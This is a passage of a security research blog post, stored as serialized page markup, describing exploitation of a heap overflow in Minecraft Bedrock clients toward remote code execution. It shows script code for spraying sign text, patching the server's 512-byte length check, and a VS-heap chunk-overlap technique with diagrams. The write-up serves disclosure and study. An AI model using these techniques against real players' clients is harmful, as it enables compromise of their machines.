});\n",{"type":24,"tag":147,"props":156117,"children":156118},{"class":149,"line":659},[156119],{"type":24,"tag":147,"props":156120,"children":156121},{"style":235},[156122],{"type":29,"value":441},{"type":24,"tag":147,"props":156124,"children":156125},{"class":149,"line":684},[156126],{"type":24,"tag":147,"props":156127,"children":156128},{"style":235},[156129],{"type":29,"value":1952},{"type":24,"tag":147,"props":156131,"children":156132},{"class":149,"line":715},[156133],{"type":24,"tag":147,"props":156134,"children":156135},{"style":235},[156136],{"type":29,"value":827},{"type":24,"tag":147,"props":156138,"children":156139},{"class":149,"line":744},[156140],{"type":24,"tag":147,"props":156141,"children":156142},{"emptyLinePlaceholder":16},[156143],{"type":29,"value":314},{"type":24,"tag":147,"props":156145,"children":156146},{"class":149,"line":784},[156147,156151,156156],{"type":24,"tag":147,"props":156148,"children":156149},{"style":218},[156150],{"type":29,"value":36978},{"type":24,"tag":147,"props":156152,"children":156153},{"style":229},[156154],{"type":29,"value":156155}," remove_wall",{"type":24,"tag":147,"props":156157,"children":156158},{"style":235},[156159],{"type":29,"value":21347},{"type":24,"tag":147,"props":156161,"children":156162},{"class":149,"line":792},[156163,156167,156171],{"type":24,"tag":147,"props":156164,"children":156165},{"style":247},[156166],{"type":29,"value":155644},{"type":24,"tag":147,"props":156168,"children":156169},{"style":241},[156170],{"type":29,"value":651},{"type":24,"tag":147,"props":156172,"children":156173},{"style":235},[156174],{"type":29,"value":155653},{"type":24,"tag":147,"props":156176,"children":156177},{"class":149,"line":805},[156178],{"type":24,"tag":147,"props":156179,"children":156180},{"style":235},[156181],{"type":29,"value":67368},{"type":24,"tag":147,"props":156183,"children":156184},{"class":149,"line":813},[156185,156189,156193,156197,156201,156205,156209,156213,156217,156221,156225,156229,156233,156237],{"type":24,"tag":147,"props":156186,"children":156187},{"style":321},[156188],{"type":29,"value":324},{"type":24,"tag":147,"props":156190,"children":156191},{"style":235},[156192],{"type":29,"value":408},{"type":24,"tag":147,"props":156194,"children":156195},{"style":218},[156196],{"type":29,"value":17406},{"type":24,"tag":147,"props":156198,"children":156199},{"style":247},[156200],{"type":29,"value":155680},{"type":24,"tag":147,"props":156202,"children":156203},{"style":241},[156204],{"type":29,"value":651},{"type":24,"tag":147,"props":156206,"children":156207},{"style":705},[156208],{"type":29,"value":708},{"type":24,"tag":147,"props":156210,"children":156211},{"style":235},[156212],{"type":29,"value":22832},{"type":24,"tag":147,"props":156214,"children":156215},{"style":247},[156216],{"type":29,"value":155697},{"type":24,"tag":147,"props":156218,"children":156219},{"style":241},[156220],{"type":29,"value":14344},{"type":24,"tag":147,"props":156222,"children":156223},{"style":247},[156224],{"type":29,"value":155706},{"type":24,"tag":147,"props":156226,"children":156227},{"style":235},[156228],{"type":29,"value":22832},{"type":24,"tag":147,"props":156230,"children":156231},{"style":247},[156232],{"type":29,"value":155697},{"type":24,"tag":147,"props":156234,"children":156235},{"style":241},[156236],{"type":29,"value":56862},{"type":24,"tag":147,"props":156238,"children":156239},{"style":235},[156240],{"type":29,"value":505},{"type":24,"tag":147,"props":156242,"children":156243},{"class":149,"line":821},[156244,156248,156252,156256,156260,156264,156268,156272,156276,156280,156284,156288,156292,156296],{"type":24,"tag":147,"props":156245,"children":156246},{"style":321},[156247],{"type":29,"value":66158},{"type":24,"tag":147,"props":156249,"children":156250},{"style":235},[156251],{"type":29,"value":408},{"type":24,"tag":147,"props":156253,"children":156254},{"style":218},[156255],{"type":29,"value":17406},{"type":24,"tag":147,"props":156257,"children":156258},{"style":247},[156259],{"type":29,"value":155742},{"type":24,"tag":147,"props":156261,"children":156262},{"style":241},[156263],{"type":29,"value":651},{"type":24,"tag":147,"props":156265,"children":156266},{"style":705},[156267],{"type":29,"value":708},{"type":24,"tag":147,"props":156269,"children":156270},{"style":235},[156271],{"type":29,"value":22832},{"type":24,"tag":147,"props":156273,"children":156274},{"style":247},[156275],{"type":29,"value":155759},{"type":24,"tag":147,"props":156277,"children":156278},{"style":241},[156279],{"type":29,"value":14344},{"type":24,"tag":147,"props":156281,"children":156282},{"style":247},[156283],{"type":29,"value":155768},{"type":24,"tag":147,"props":156285,"children":156286},{"style":235},[156287],{"type":29,"value":22832},{"type":24,"tag":147,"props":156289,"children":156290},{"style":247},[156291],{"type":29,"value":155759},{"type":24,"tag":147,"props":156293,"children":156294},{"style":241},[156295],{"type":29,"value":56862},{"type":24,"tag":147,"props":156297,"children":156298},{"style":235},[156299],{"type":29,"value":505},{"type":24,"tag":147,"props":156301,"children":156302},{"class":149,"line":1902},[156303],{"type":24,"tag":147,"props":156304,"children":156305},{"style":235},[156306],{"type":29,"value":155815},{"type":24,"tag":147,"props":156308,"children":156309},{"class":149,"line":1920},[156310,156314,156318],{"type":24,"tag":147,"props":156311,"children":156312},{"style":235},[156313],{"type":29,"value":155799},{"type":24,"tag":147,"props":156315,"children":156316},{"style":241},[156317],{"type":29,"value":15212},{"type":24,"tag":147,"props":156319,"children":156320},{"style":235},[156321],{"type":29,"value":17391},{"type":24,"tag":147,"props":156323,"children":156324},{"class":149,"line":1929},[156325],{"type":24,"tag":147,"props":156326,"children":156327},{"style":235},[156328],{"type":29,"value":156329},"             \n",{"type":24,"tag":147,"props":156331,"children":156332},{"class":149,"line":1938},[156333,156337,156341,156345,156349,156354],{"type":24,"tag":147,"props":156334,"children":156335},{"style":218},[156336],{"type":29,"value":155823},{"type":24,"tag":147,"props":156338,"children":156339},{"style":247},[156340],{"type":29,"value":155828},{"type":24,"tag":147,"props":156342,"children":156343},{"style":241},[156344],{"type":29,"value":651},{"type":24,"tag":147,"props":156346,"children":156347},{"style":321},[156348],{"type":29,"value":41812},{"type":24,"tag":147,"props":156350,"children":156351},{"style":229},[156352],{"type":29,"value":156353}," wait_for_block",{"type":24,"tag":147,"props":156355,"children":156356},{"style":235},[156357],{"type":29,"value":9088},{"type":24,"tag":147,"props":156359,"children":156360},{"class":149,"line":1946},[156361,156366,156370,156374,156378,156382],{"type":24,"tag":147,"props":156362,"children":156363},{"style":247},[156364],{"type":29,"value":156365},"                world",{"type":24,"tag":147,"props":156367,"children":156368},{"style":235},[156369],{"type":29,"value":87},{"type":24,"tag":147,"props":156371,"children":156372},{"style":229},[156373],{"type":29,"value":155850},{"type":24,"tag":147,"props":156375,"children":156376},{"style":235},[156377],{"type":29,"value":480},{"type":24,"tag":147,"props":156379,"children":156380},{"style":3534},[156381],{"type":29,"value":155859},{"type":24,"tag":147,"props":156383,"children":156384},{"style":235},[156385],{"type":29,"value":12362},{"type":24,"tag":147,"props":156387,"children":156388},{"class":149,"line":1955},[156389],{"type":24,"tag":147,"props":156390,"children":156391},{"style":247},[156392],{"type":29,"value":156393},"                sign_location\n",{"type":24,"tag":147,"props":156395,"children":156396},{"class":149,"line":29376},[156397],{"type":24,"tag":147,"props":156398,"children":156399},{"style":235},[156400],{"type":29,"value":1581},{"type":24,"tag":147,"props":156402,"children":156403},{"class":149,"line":29384},[156404,156408,156412,156416],{"type":24,"tag":147,"props":156405,"children":156406},{"style":247},[156407],{"type":29,"value":155896},{"type":24,"tag":147,"props":156409,"children":156410},{"style":235},[156411],{"type":29,"value":87},{"type":24,"tag":147,"props":156413,"children":156414},{"style":229},[156415],{"type":29,"value":155503},{"type":24,"tag":147,"props":156417,"children":156418},{"style":235},[156419],{"type":29,"value":9088},{"type":24,"tag":147,"props":156421,"children":156422},{"class":149,"line":29421},[156423,156427,156431,156435,156439,156443],{"type":24,"tag":147,"props":156424,"children":156425},{"style":247},[156426],{"type":29,"value":155916},{"type":24,"tag":147,"props":156428,"children":156429},{"style":235},[156430],{"type":29,"value":87},{"type":24,"tag":147,"props":156432,"children":156433},{"style":229},[156434],{"type":29,"value":155524},{"type":24,"tag":147,"props":156436,"children":156437},{"style":235},[156438],{"type":29,"value":480},{"type":24,"tag":147,"props":156440,"children":156441},{"style":3534},[156442],{"type":29,"value":155533},{"type":24,"tag":147,"props":156444,"children":156445},{"style":235},[156446],{"type":29,"value":269},{"type":24,"tag":147,"props":156448,"children":156449},{"class":149,"line":29434},[156450],{"type":24,"tag":147,"props":156451,"children":156452},{"style":235},[156453],{"type":29,"value":1581},{"type":24,"tag":147,"props":156455,"children":156456},{"class":149,"line":29447},[156457],{"type":24,"tag":147,"props":156458,"children":156459},{"emptyLinePlaceholder":16},[156460],{"type":29,"value":314},{"type":24,"tag":147,"props":156462,"children":156463},{"class":149,"line":29460},[156464,156468,156472],{"type":24,"tag":147,"props":156465,"children":156466},{"style":235},[156467],{"type":29,"value":155799},{"type":24,"tag":147,"props":156469,"children":156470},{"style":241},[156471],{"type":29,"value":15212},{"type":24,"tag":147,"props":156473,"children":156474},{"style":235},[156475],{"type":29,"value":17391},{"type":24,"tag":147,"props":156477,"children":156478},{"class":149,"line":29514},[156479],{"type":24,"tag":147,"props":156480,"children":156481},{"style":235},[156482],{"type":29,"value":441},{"type":24,"tag":147,"props":156484,"children":156485},{"class":149,"line":29523},[156486],{"type":24,"tag":147,"props":156487,"children":156488},{"style":235},[156489],{"type":29,"value":1952},{"type":24,"tag":147,"props":156491,"children":156492},{"class":149,"line":37881},[156493],{"type":24,"tag":147,"props":156494,"children":156495},{"style":235},[156496],{"type":29,"value":827},{"type":24,"tag":147,"props":156498,"children":156499},{"class":149,"line":37902},[156500],{"type":24,"tag":147,"props":156501,"children":156502},{"emptyLinePlaceholder":16},[156503],{"type":29,"value":314},{"type":24,"tag":147,"props":156505,"children":156506},{"class":149,"line":86535},[156507,156512,156516,156521,156525,156530,156534,156539,156543,156548,156552,156556],{"type":24,"tag":147,"props":156508,"children":156509},{"style":247},[156510],{"type":29,"value":156511},"world",{"type":24,"tag":147,"props":156513,"children":156514},{"style":235},[156515],{"type":29,"value":87},{"type":24,"tag":147,"props":156517,"children":156518},{"style":247},[156519],{"type":29,"value":156520},"afterEvents",{"type":24,"tag":147,"props":156522,"children":156523},{"style":235},[156524],{"type":29,"value":87},{"type":24,"tag":147,"props":156526,"children":156527},{"style":247},[156528],{"type":29,"value":156529},"playerSpawn",{"type":24,"tag":147,"props":156531,"children":156532},{"style":235},[156533],{"type":29,"value":87},{"type":24,"tag":147,"props":156535,"children":156536},{"style":229},[156537],{"type":29,"value":156538},"subscribe",{"type":24,"tag":147,"props":156540,"children":156541},{"style":235},[156542],{"type":29,"value":37123},{"type":24,"tag":147,"props":156544,"children":156545},{"style":247},[156546],{"type":29,"value":156547},"arg",{"type":24,"tag":147,"props":156549,"children":156550},{"style":235},[156551],{"type":29,"value":564},{"type":24,"tag":147,"props":156553,"children":156554},{"style":218},[156555],{"type":29,"value":20435},{"type":24,"tag":147,"props":156557,"children":156558},{"style":235},[156559],{"type":29,"value":6630},{"type":24,"tag":147,"props":156561,"children":156562},{"class":149,"line":86548},[156563,156568],{"type":24,"tag":147,"props":156564,"children":156565},{"style":229},[156566],{"type":29,"value":156567},"    create_wall",{"type":24,"tag":147,"props":156569,"children":156570},{"style":235},[156571],{"type":29,"value":9295},{"type":24,"tag":147,"props":156573,"children":156574},{"class":149,"line":86556},[156575],{"type":24,"tag":147,"props":156576,"children":156577},{"style":235},[156578],{"type":29,"value":40938},{"type":24,"tag":147,"props":156580,"children":156581},{"class":149,"line":86564},[156582],{"type":24,"tag":147,"props":156583,"children":156584},{"emptyLinePlaceholder":16},[156585],{"type":29,"value":314},{"type":24,"tag":147,"props":156587,"children":156588},{"class":149,"line":86572},[156589,156593,156597,156602,156606,156611,156615,156619,156623,156627,156631,156635,156639,156643],{"type":24,"tag":147,"props":156590,"children":156591},{"style":247},[156592],{"type":29,"value":156511},{"type":24,"tag":147,"props":156594,"children":156595},{"style":235},[156596],{"type":29,"value":87},{"type":24,"tag":147,"props":156598,"children":156599},{"style":247},[156600],{"type":29,"value":156601},"beforeEvents",{"type":24,"tag":147,"props":156603,"children":156604},{"style":235},[156605],{"type":29,"value":87},{"type":24,"tag":147,"props":156607,"children":156608},{"style":247},[156609],{"type":29,"value":156610},"playerLeave",{"type":24,"tag":147,"props":156612,"children":156613},{"style":235},[156614],{"type":29,"value":87},{"type":24,"tag":147,"props":156616,"children":156617},{"style":229},[156618],{"type":29,"value":156538},{"type":24,"tag":147,"props":156620,"children":156621},{"style":235},[156622],{"type":29,"value":480},{"type":24,"tag":147,"props":156624,"children":156625},{"style":218},[156626],{"type":29,"value":41746},{"type":24,"tag":147,"props":156628,"children":156629},{"style":235},[156630],{"type":29,"value":408},{"type":24,"tag":147,"props":156632,"children":156633},{"style":247},[156634],{"type":29,"value":156547},{"type":24,"tag":147,"props":156636,"children":156637},{"style":235},[156638],{"type":29,"value":564},{"type":24,"tag":147,"props":156640,"children":156641},{"style":218},[156642],{"type":29,"value":20435},{"type":24,"tag":147,"props":156644,"children":156645},{"style":235},[156646],{"type":29,"value":6630},{"type":24,"tag":147,"props":156648,"children":156649},{"class":149,"line":86612},[156650,156655],{"type":24,"tag":147,"props":156651,"children":156652},{"style":229},[156653],{"type":29,"value":156654},"    remove_wall",{"type":24,"tag":147,"props":156656,"children":156657},{"style":235},[156658],{"type":29,"value":9295},{"type":24,"tag":147,"props":156660,"children":156661},{"class":149,"line":86620},[156662],{"type":24,"tag":147,"props":156663,"children":156664},{"style":235},[156665],{"type":29,"value":40938},{"type":24,"tag":25,"props":156667,"children":156668},{},[156669],{"type":29,"value":156670},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":25,"props":156672,"children":156673},{},[156674],{"type":24,"tag":63,"props":156675,"children":156678},{"alt":156676,"src":156677},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":25,"props":156680,"children":156681},{},[156682],{"type":29,"value":156683},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":112,"props":156685,"children":156687},{"id":156686},"a-small-roadblock",[156688],{"type":29,"value":156689},"A Small Roadblock",{"type":24,"tag":25,"props":156691,"children":156692},{},[156693],{"type":29,"value":156694},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":137,"props":156696,"children":156698},{"code":156697},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[156699],{"type":24,"tag":80,"props":156700,"children":156701},{"__ignoreMap":7},[156702],{"type":29,"value":156697},{"type":24,"tag":25,"props":156704,"children":156705},{},[156706,156708,156714],{"type":29,"value":156707},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":80,"props":156709,"children":156711},{"className":156710},[],[156712],{"type":29,"value":156713},"512",{"type":29,"value":156715}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":25,"props":156717,"children":156718},{},[156719],{"type":29,"value":156720},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":25,"props":156722,"children":156723},{},[156724],{"type":29,"value":156725},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":25,"props":156727,"children":156728},{},[156729],{"type":24,"tag":63,"props":156730,"children":156732},{"alt":56176,"src":156731},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":25,"props":156734,"children":156735},{},[156736,156738,156744],{"type":29,"value":156737},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":24,"tag":80,"props":156739,"children":156741},{"className":156740},[],[156742],{"type":29,"value":156743},"string_length \u003C= 512",{"type":29,"value":156745}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":25,"props":156747,"children":156748},{},[156749],{"type":29,"value":156750},"The disassembly of the comparison looks like this:",{"type":24,"tag":25,"props":156752,"children":156753},{},[156754],{"type":24,"tag":63,"props":156755,"children":156757},{"alt":56176,"src":156756},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":25,"props":156759,"children":156760},{},[156761,156763,156768,156770,156775,156776,156781,156783,156789,156791,156797,156799,156804,156806,156811],{"type":29,"value":156762},"The code compares ",{"type":24,"tag":80,"props":156764,"children":156766},{"className":156765},[],[156767],{"type":29,"value":62362},{"type":29,"value":156769}," (the string length) to ",{"type":24,"tag":80,"props":156771,"children":156773},{"className":156772},[],[156774],{"type":29,"value":4328},{"type":29,"value":408},{"type":24,"tag":80,"props":156777,"children":156779},{"className":156778},[],[156780],{"type":29,"value":156713},{"type":29,"value":156782}," decimal). It then performs a ",{"type":24,"tag":80,"props":156784,"children":156786},{"className":156785},[],[156787],{"type":29,"value":156788},"jbe",{"type":29,"value":156790},", jumping to address ",{"type":24,"tag":80,"props":156792,"children":156794},{"className":156793},[],[156795],{"type":29,"value":156796},"0x14275114c",{"type":29,"value":156798}," if ",{"type":24,"tag":80,"props":156800,"children":156802},{"className":156801},[],[156803],{"type":29,"value":62362},{"type":29,"value":156805}," is less than or equal to ",{"type":24,"tag":80,"props":156807,"children":156809},{"className":156808},[],[156810],{"type":29,"value":156713},{"type":29,"value":156812},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":25,"props":156814,"children":156815},{},[156816,156818,156823,156825,156831],{"type":29,"value":156817},"To force execution down this path, we patched the ",{"type":24,"tag":80,"props":156819,"children":156821},{"className":156820},[],[156822],{"type":29,"value":156788},{"type":29,"value":156824}," instruction to an unconditional ",{"type":24,"tag":80,"props":156826,"children":156828},{"className":156827},[],[156829],{"type":29,"value":156830},"jmp",{"type":29,"value":156832},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":25,"props":156834,"children":156835},{},[156836],{"type":24,"tag":63,"props":156837,"children":156839},{"alt":56176,"src":156838},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":25,"props":156841,"children":156842},{},[156843,156845,156850,156852,156857],{"type":29,"value":156844},"After patching the server and calling ",{"type":24,"tag":80,"props":156846,"children":156848},{"className":156847},[],[156849],{"type":29,"value":154954},{"type":29,"value":156851}," with a size of ",{"type":24,"tag":80,"props":156853,"children":156855},{"className":156854},[],[156856],{"type":29,"value":63734},{"type":29,"value":156858},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":25,"props":156860,"children":156861},{},[156862],{"type":24,"tag":63,"props":156863,"children":156865},{"alt":56176,"src":156864},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":2665,"props":156867,"children":156868},{},[],{"type":24,"tag":25,"props":156870,"children":156871},{},[156872],{"type":29,"value":156873},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":25,"props":156875,"children":156876},{},[156877],{"type":29,"value":156878},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":43,"props":156880,"children":156882},{"id":156881},"overlapping-heap-chunks",[156883],{"type":29,"value":156884},"Overlapping Heap Chunks",{"type":24,"tag":25,"props":156886,"children":156887},{},[156888,156890,156895],{"type":29,"value":156889},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":2773,"props":156891,"children":156893},{"href":154698,"rel":156892},[2777],[156894],{"type":29,"value":8440},{"type":29,"value":156896},"), so we will present a high-level overview.",{"type":24,"tag":25,"props":156898,"children":156899},{},[156900,156902,156908],{"type":29,"value":156901},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":80,"props":156903,"children":156905},{"className":156904},[],[156906],{"type":29,"value":156907},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":156909}," structure layout is required:",{"type":24,"tag":137,"props":156911,"children":156913},{"code":156912},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[156914],{"type":24,"tag":80,"props":156915,"children":156916},{"__ignoreMap":7},[156917],{"type":29,"value":156912},{"type":24,"tag":25,"props":156919,"children":156920},{},[156921,156923,156929,156931,156937,156938,156944,156945,156951,156953,156958,156960,156965,156967,156973,156975,156980,156982,156988],{"type":29,"value":156922},"At offset 0 there is a header ",{"type":24,"tag":80,"props":156924,"children":156926},{"className":156925},[],[156927],{"type":29,"value":156928},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":156930}," containing fields such as ",{"type":24,"tag":80,"props":156932,"children":156934},{"className":156933},[],[156935],{"type":29,"value":156936},"MemoryCost",{"type":29,"value":546},{"type":24,"tag":80,"props":156939,"children":156941},{"className":156940},[],[156942],{"type":29,"value":156943},"UnsafeSize",{"type":29,"value":546},{"type":24,"tag":80,"props":156946,"children":156948},{"className":156947},[],[156949],{"type":29,"value":156950},"UnsafePrevSize",{"type":29,"value":156952},", etc. For the attack we only care about the ",{"type":24,"tag":80,"props":156954,"children":156956},{"className":156955},[],[156957],{"type":29,"value":156943},{"type":29,"value":156959}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":80,"props":156961,"children":156963},{"className":156962},[],[156964],{"type":29,"value":2936},{"type":29,"value":156966},", so for a chunk of size ",{"type":24,"tag":80,"props":156968,"children":156970},{"className":156969},[],[156971],{"type":29,"value":156972},"0x4010",{"type":29,"value":156974}," the value of ",{"type":24,"tag":80,"props":156976,"children":156978},{"className":156977},[],[156979],{"type":29,"value":156943},{"type":29,"value":156981}," would be ",{"type":24,"tag":80,"props":156983,"children":156985},{"className":156984},[],[156986],{"type":29,"value":156987},"0x401",{"type":29,"value":87},{"type":24,"tag":25,"props":156990,"children":156991},{},[156992,156993,156998],{"type":29,"value":7911},{"type":24,"tag":80,"props":156994,"children":156996},{"className":156995},[],[156997],{"type":29,"value":156943},{"type":29,"value":156999}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":25,"props":157001,"children":157002},{},[157003,157005,157010,157012,157017,157019,157025,157027,157032],{"type":29,"value":157004},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":80,"props":157006,"children":157008},{"className":157007},[],[157009],{"type":29,"value":156943},{"type":29,"value":157011}," in the smallest possible VS chunk (",{"type":24,"tag":80,"props":157013,"children":157015},{"className":157014},[],[157016],{"type":29,"value":156972},{"type":29,"value":157018},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":80,"props":157020,"children":157022},{"className":157021},[],[157023],{"type":29,"value":157024},"[0x10, 0xffff0]",{"type":29,"value":157026}," range, the probability that it exceeds ",{"type":24,"tag":80,"props":157028,"children":157030},{"className":157029},[],[157031],{"type":29,"value":156972},{"type":29,"value":157033}," is:",{"type":24,"tag":137,"props":157035,"children":157037},{"code":157036},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[157038],{"type":24,"tag":80,"props":157039,"children":157040},{"__ignoreMap":7},[157041],{"type":29,"value":157036},{"type":24,"tag":25,"props":157043,"children":157044},{},[157045],{"type":29,"value":157046},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":25,"props":157048,"children":157049},{},[157050],{"type":29,"value":157051},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":112,"props":157053,"children":157055},{"id":157054},"overlap-attack-overview",[157056],{"type":29,"value":157057},"Overlap Attack Overview",{"type":24,"tag":25,"props":157059,"children":157060},{},[157061,157063,157068],{"type":29,"value":157062},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":80,"props":157064,"children":157066},{"className":157065},[],[157067],{"type":29,"value":2959},{"type":29,"value":157069}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":25,"props":157071,"children":157072},{},[157073,157075,157080,157082,157087],{"type":29,"value":157074},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":80,"props":157076,"children":157078},{"className":157077},[],[157079],{"type":29,"value":152957},{"type":29,"value":157081},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":80,"props":157083,"children":157085},{"className":157084},[],[157086],{"type":29,"value":152957},{"type":29,"value":157088},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":25,"props":157090,"children":157091},{},[157092,157094,157099],{"type":29,"value":157093},"To remove those ",{"type":24,"tag":80,"props":157095,"children":157097},{"className":157096},[],[157098],{"type":29,"value":152957},{"type":29,"value":157100},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":25,"props":157102,"children":157103},{},[157104],{"type":29,"value":157105},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":137,"props":157107,"children":157109},{"code":157108},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[157110],{"type":24,"tag":80,"props":157111,"children":157112},{"__ignoreMap":7},[157113],{"type":29,"value":157108},{"type":24,"tag":25,"props":157115,"children":157116},{},[157117,157119,157124,157126,157131],{"type":29,"value":157118},"Next we create ",{"type":24,"tag":8545,"props":157120,"children":157121},{},[157122],{"type":29,"value":157123},"holes",{"type":29,"value":157125}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":80,"props":157127,"children":157129},{"className":157128},[],[157130],{"type":29,"value":152957},{"type":29,"value":157132},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":137,"props":157134,"children":157136},{"code":157135},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[157137],{"type":24,"tag":80,"props":157138,"children":157139},{"__ignoreMap":7},[157140],{"type":29,"value":157135},{"type":24,"tag":25,"props":157142,"children":157143},{},[157144,157146,157151,157153,157158],{"type":29,"value":157145},"When a ",{"type":24,"tag":80,"props":157147,"children":157149},{"className":157148},[],[157150],{"type":29,"value":152957},{"type":29,"value":157152}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":80,"props":157154,"children":157156},{"className":157155},[],[157157],{"type":29,"value":156943},{"type":29,"value":157159}," field will be overwritten:",{"type":24,"tag":137,"props":157161,"children":157163},{"code":157162},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[157164],{"type":24,"tag":80,"props":157165,"children":157166},{"__ignoreMap":7},[157167],{"type":29,"value":157162},{"type":24,"tag":25,"props":157169,"children":157170},{},[157171,157173,157178,157180,157185,157187,157192],{"type":29,"value":157172},"Once ",{"type":24,"tag":80,"props":157174,"children":157176},{"className":157175},[],[157177],{"type":29,"value":156943},{"type":29,"value":157179}," has been overwritten, ",{"type":24,"tag":80,"props":157181,"children":157183},{"className":157182},[],[157184],{"type":29,"value":152957},{"type":29,"value":157186}," allocation is freed immediately after, restoring the previous layout but with ",{"type":24,"tag":80,"props":157188,"children":157190},{"className":157189},[],[157191],{"type":29,"value":156943},{"type":29,"value":157193}," field corrupted:",{"type":24,"tag":137,"props":157195,"children":157197},{"code":157196},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[157198],{"type":24,"tag":80,"props":157199,"children":157200},{"__ignoreMap":7},[157201],{"type":29,"value":157196},{"type":24,"tag":25,"props":157203,"children":157204},{},[157205],{"type":29,"value":157206},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":137,"props":157208,"children":157210},{"code":157209},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[157211],{"type":24,"tag":80,"props":157212,"children":157213},{"__ignoreMap":7},[157214],{"type":29,"value":157209},{"type":24,"tag":25,"props":157216,"children":157217},{},[157218],{"type":29,"value":157219},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":137,"props":157221,"children":157223},{"code":157222},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - 